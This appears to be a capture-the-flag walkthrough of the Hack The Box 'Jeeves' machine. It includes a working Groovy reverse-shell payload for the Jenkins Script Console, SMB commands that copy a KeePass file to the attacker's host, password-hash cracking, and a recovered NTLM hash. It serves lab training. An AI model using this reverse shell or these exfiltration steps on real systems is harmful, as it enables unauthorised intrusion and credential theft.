Hack The Box: Jeeves Walkthrough
Here’s a quick walkthrough of the Jeeves machine from Hack The Box.
Nmap Scan result:
Service Enumeration
50000/tcp
This is the default page
gobuster
gobuster revealed a hidden /askjeeves/ directory with a 302 redirect. Visiting it led to a Jenkins dashboard.
/askjeeves/ .Shell as kohsuke
/askjeeves
Let’s listen on port 4444 to catch the reverse shell.
Go to Manage Jenkins → Script Console, insert the reverse shell script, and click Run to gain a shell as kohsuke.
While searching for
Jenkins script console reverse shell, I found a working payload.
String host="<your_machine_IP>";
int port=<your_webserver_port>;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Shell as nt authority\system
kdbx file
Found a CEH.kdbx KeePass database file in C:\Users\kohsuke\Documents, which could contain sensitive credentials.
Transfer file
# In Attack Machine
impacket-smbserver ps_share `pwd` -smb2support
# In Target Machine
copy CEH.kdbx \\<MY_HOST_IP>\ps_share\CEH.kdbx
Interacting with kdbx file
While searching for
kali linux how to open kdbx file, I found this helpful guide.
Tried opening the CEH.kdbx file using kpcli, but it prompts for a master password to proceed(which we don’t have).
John the Ripper
Get pack3tsniper’s stories in your inbox
Join Medium for free to get updates from this writer.
Used keepass2john to extract the hash from CEH.kdbx and cracked it using john with the rockyou.txt wordlist. The recovered password was moonshine1.
let’s open the CEH.kdbx file using kpcli to explore its contents.
┌──(kali㉿kali)-[~/htb/Jeeves]
└─$ kpcli
...
kpcli:/> open CEH.kdbx
Provide the master password: *************************
kpcli:/> cd CEH/
kpcli:/CEH> ls
...
0. Backup stuff
... www.walmart.com
kpcli:/CEH> show -f 0
...
Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
...
kpcli:/CEH> 
Pass-the-Hash
ADS(Alternate Data Stream)
C:\Users\Administrator\Desktop> type hm.txt
The flag is elsewhere. Look deeper.
C:\Users\Administrator\Desktop> dir /R
...
12/24/2017 03:51 AM 36 hm.txt
34 hm.txt:root.txt:$DATA
...
C:\Users\Administrator\Desktop> type hm.txt:root.txt:$DATA
The filename, directory name, or volume label syntax is incorrect.
C:\Users\Administrator\Desktop> more < hm.txt:root.txt:$DATA
...
In this case, trying to read the alternate data stream with
type hm.txt:root.txt:$DATAfailed due to syntax limitations of thetypecommand. Instead, usingmore < hm.txt:root.txt:$DATAsuccessfully revealed the hidden content.
